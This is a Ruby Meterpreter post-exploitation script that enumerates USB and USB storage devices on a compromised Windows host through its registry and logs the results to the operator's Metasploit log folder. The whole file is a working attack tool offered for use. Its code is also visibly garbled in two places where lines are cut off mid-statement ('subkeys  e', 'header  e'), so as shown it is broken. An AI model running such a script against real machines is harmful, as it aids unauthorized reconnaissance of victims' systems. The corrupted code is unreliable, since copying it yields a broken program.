#Meterpreter script for basic usb device enumeration
#Based on the winenum.rb script by Carlos Perez
#Provided by Jacob Hammack at jacob.hammack[at]hammackj.com
#Verion: 0.0.1

@client = client
opts = Rex::Parser::Arguments.new(
        "-h" => [ false, "Help menu." ],
        "-a" => [ false, "Enumerate all connected usb devices" ],
        "-s" => [ false, "Enumerate all connected usb storage devices" ]
)

allUsb = false
usbStor = false

opts.parse(args) { |opt, idx, val|
        case opt
                when "-a"
                        allUsb = true
                when "-s"
                        usbStor = true                        
                when "-h"
                        print_line "USBEnum -- Enumerates all USB devices"
                        print_line
                        print_line "Retrieves information about the usb devices that have been connected"
                        print_line "to the system. Results are stored in #{::File.join(Msf::Config.log_directory, 'usbenum')}"
                        print_line(opts.usage)
                        raise Rex::Script::Completed
        end
}

host,port = @client.tunnel_peer.split(':')
info = @client.sys.config.sysinfo
# Create Filename info to be appended to downloaded files
filenameinfo = "_" + ::Time.now.strftime("%Y%m%d.%M%S")+"-"+sprintf("%.5d",rand(100000))

# Create a directory for the logs
logs = ::File.join(Msf::Config.log_directory, 'usbenum', info['Computer'] + filenameinfo )

# Create the log directory
::FileUtils.mkdir_p(logs)

#logfile name
dest = logs + "/" + info['Computer'] + filenameinfo + ".txt"

#Enumerates a registry key and returns
#Jacked from the winenum.rb script by carlos perez
def reg_enumkeys(key)
        subkeys = []
        begin
                root_key, base_key = @client.sys.registry.splitkey(key)
                open_key = @client.sys.registry.open_key(root_key, base_key, KEY_READ)
                keys = open_key.enum_key
                keys.each { |subkey|
                        subkeys  e
                return nil
        end
        return subkeys
end

#Gets a reg key value
#Jacked from the winenum.rb script by carlos perez
def reg_getvaldata(key,valname)
        value = nil
        begin
                root_key, base_key = @client.sys.registry.splitkey(key)
                open_key = @client.sys.registry.open_key(root_key, base_key, KEY_READ)
                v = open_key.query_value(valname)
                value = v.data
                open_key.close
        rescue ::Exception => e
                return nil
        end
        return value
end

#writes out data to file
#Jacked from the winenum.rb script by carlos perez
def filewrt(file2wrt, data2wrt)
        output = ::File.open(file2wrt, "a")
        data2wrt.each_line do |d|
                output.puts(d)
        end
        output.close
end

allUsbKey = "HKLM\\System\\CurrentControlSet\\Enum\\USB\\"
usbStorKey = "HKLM\\System\\CurrentControlSet\\Enum\\USBStor\\"

if allUsb == true or usbStor == true
        print_status("Running Windows USB Enumerion Meterpreter Script")
        info = @client.sys.config.sysinfo
        header =  "Date:       #{::Time.now.strftime("%Y-%m-%d.%H:%M:%S")}\n"
        header  e
                print_status("Unable to enumerate USB registry #{e}")
        end
end

if usbStor == true
        begin
                subkeys = reg_enumkeys(usbStorKey)

                subkeys.each { |key|
                        devices = reg_enumkeys(usbStorKey + key)        
                        devices.each { |dev|                                
                                val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "HardwareID")
                                hardwareid = "HardwareID:" + val unless val == nil

                                val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "Driver")
                                driver = "Driver:" + val unless val == nil

                                val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "ClassGUID")
                                classguid = "ClassGUID:" + val unless val == nil

                                val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "Mfg")
                                mfg = "mfg:" + val unless val == nil

                                val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "DeviceDesc")
                                devicedesc = "DeviceDesc:" + val unless val == nil

                                val = reg_getvaldata(usbStorKey + key + "\\" + dev + "\\", "FriendlyName") 
                                friendlyname = "FriendlyName:" + val unless val == nil

                                print_status hardwareid unless hardwareid == nil
                                print_status driver unless driver == nil
                                print_status classguid unless classguid == nil
                                print_status mfg unless mfg == nil
                                print_status devicedesc unless devicedesc == nil
                                print_status friendlyname unless friendlyname == nil
                                print_status ""
                                
                                filewrt(dest, hardwareid + "\n") unless hardwareid == nil
                                filewrt(dest, driver + "\n") unless driver == nil
                                filewrt(dest, classguid + "\n") unless classguid == nil
                                filewrt(dest, mfg + "\n") unless mfg == nil
                                filewrt(dest, devicedesc + "\n") unless devicedesc == nil
                                filewrt(dest, friendlyname + "\n") unless friendlyname == nil
                                filewrt(dest, "\n")
                        }
                }
        rescue ::Exception => e
                print_status("Unable to enumerate USB registry #{e}")
        end
end